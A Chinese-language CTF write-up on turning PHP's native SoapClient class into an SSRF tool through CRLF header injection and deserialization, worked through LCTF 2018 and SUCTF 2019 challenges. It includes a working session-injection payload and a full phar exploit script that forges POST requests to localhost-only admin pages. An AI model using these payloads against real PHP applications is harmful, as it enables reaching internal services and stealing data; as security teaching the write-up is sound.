SOAP 简介
SOAP(Simple Object Access Protocol)是一种在 web service 通信时所用的基于 xml 的协议。
远在天边,近在眼前,通过这种协议可以实现“本地”调用的效果。
简单实例
function getTime() { return date('Y-m-d', time()); }
$soap = new SoapServer(null, ['uri' => 'abcd'] ); $soap->addFunction('getTime'); $soap->handle();
$client = new SoapClient(null, ['location' => 'http://example.com', 'uri' => 'abcd'] ); echo $client->getTime();
|
还有一个很重要的利用点,CRLF 头注入,一个在 user_agent,一个在 uri,可惜的是这种方式只支持 http 协议。
下面来看一看具体的数据包:
不熟悉 CRLF 头注入利用方法的可以参考一下这篇文章,Trying to hack Redis via HTTP requests
相关例题
2018 LCTF babyphp’s revenge
hint:反序列化
index.php
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f], $_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?>
|
flag.php
session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ $_SESSION['flag'] = $flag; }
|
题目非常简洁,就两个文件。flag 的位置也很明确,但这有一个限制,只有来自 localhost 的访问才能将 flag 写入 session 中,意味着需要 SSRF 或者直接 getshell。
给的提示是反序列化,代码不多,不由得想到 session 里的反序列化,可以看看之前的一个题,从 session 角度学习反序列化 (与此题不相同的一点是,这里直接给了写 session 的接口,两题或许可以结合一下)
参照以前的思路,我们需要设置不同的序列化的处理器,来达到对象注入的目的。如何才能设置呢?
目光继续聚焦于 session_start
,官方文档给了一个重要提示:配置可覆盖(该进程下临时生效就够了)。
那要注入什么要的对象才能达到 SSRF 的目的呢?由于不能定义其他类,只好从内置类想办法,这时候 SoapClient 就可以闪亮登场了,上面已经铺垫了相关知识,这里着重解释处理手法。
$b = new SoapClient(null, ['location' => 'http://127.0.0.1/flag.php', 'uri' => "DDD\r\n" . "Cookie: PHPSESSID=2"]); echo urlencode(serialize($b));
|
可看到语句成功写入 session
再正常访问一下,session 里的语句被成功反序列化成为 SoapClient 对象
有人可能还是会有疑问,为什么一定要这样设置呢,不能赋值进去再自动反序列化吗?
这里多说一下,其实上面的文章已经有写过。先看一下基本的几种序列化的存储方式:
php_binary
:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize ()
函数序列化处理的值
php
:键名 + 竖线 + 经过 serialize ()
函数序列处理的值
php_serialize
:经过 serialize ()
函数序列化处理的值
从 PHP 文档可查到,默认使用 php 这种序列化格式,也就是已经存在竖线的那种方式。
这种方式的反序列化有个小细节:PHP 获取到 session 字符串后就开始从左至右寻找竖线,找到后以竖线为分隔符,竖线前的为键名,后的做键值,并对键值进行反序列化。如果反序列化失败,则放弃此次解析,再以这样的方式网下寻找继续找。
name|s:163:"|O:10:"SoapClient":4:{s:3:"uri";s:1:"a";s:8:"location"...
|
像现在这种情况,出现了两个竖线,就会将后面整个 s:163:"O:"
字符串进行反序列化,得到的很可能就只是一个数组。
到这里,我们的对象注入总算是成功了,那该如何调用 __call
呢?
别忘了这还有一个 reset
函数:
reset() 将 array
的内部指针倒回到第一个单元并返回第一个数组单元的值
也就是说,reset($_SESSION)
将返回的就是 SoapClient 对象,这就很棒了,得来全不费功夫。
我们可以先把 $b
覆盖成 call_user_func
,以下面这种形式进行调用:
call_user_func(array(SoapClient Object, 'welcome_to_the_lctf2018'));
|
再正常访问就可以看到 flag 了。
2019 SUCTF upload2
考点:phar 反序列化、反射、SSRF、SoapClient
简单说一下题目大意,有一个上传点(index.php),限制了图片后缀。
if (isset($_POST["upload"])) { $allowedExts = array("gif", "jpeg", "jpg", "png"); $tmp_name = $_FILES["file"]["tmp_name"]; $file_name = $_FILES["file"]["name"]; $temp = explode(".", $file_name); $extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 204800) && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check(); if ($_FILES["file"]["error"] > 0) { echo "错误:: " . $_FILES["file"]["error"] . "<br>"; die(); } else { move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; } } else { echo "非法的文件格式"; } }
|
check(class.php)里检查了是否含有 <?
。
<?php include 'config.php';
class File{ public $file_name; public $type; public $func = "Check";
function __construct($file_name){ $this->file_name = $file_name; }
function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); }
function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); }
function __toString(){ return $this->type; } }
class Check{ public $file_name;
function __construct($file_name){ $this->file_name = $file_name; }
function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
|
另外还有一个查看点(func.php)
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; }
|
目标在 admin.php 里
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { }
|
由此可知只能打 SSRF,加上前面的一系列限制,直接传 webshell 是不太现实的。
综合总的题目情景,前一部分和 hitcon 2017 中的 baby^h-master-php-2017 很像,可由 finfo_file($finfo, $this->file_name)
触发反序列化,再通过 soap 打出 SSRF。
以下直接给出 exp:(具体分析可参考 De1ta 的 wp)
<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt','text'); $phar->setStub('__HALT_COMPILER();');
class File { public $file_name = ""; public $func = "SoapClient";
function __construct(){ $target = "http://127.0.0.1/admin.php"; $post_string = 'admin=&ip=xxx&port=xx&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n"; $headers = []; $this->file_name = [ null, array('location' => $target, 'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string), 'uri'=>'1') ]; } } $object = new File; echo urlencode(serialize($object)); $phar->setMetadata($object); $phar->stopBuffering();
|
总结
另外还有一些例题,比如:
简单小结一下,这些题的情景大都是这样:
最终目标都受到了 IP 的限制,往往需要打出 SSRF,但并没有找到明显的 SSRF 点,只有一个反序列化的,此时该如何利用呢?
都指向了原生类——SOAPClient,有了两个 CRLF 的助攻,打出去的 POST 报文几乎完全可控。
这样的 SOAP,你喜欢吗 :)
参考链接
http://pupiles.com/lctf2018.html
https://blog.wonderkun.cc/2018/03/13/n1ctf-hard-php-writeup/
https://www.kingkk.com/2018/11/2018-lctf-web-学习篇/
https://www.anquanke.com/post/id/164569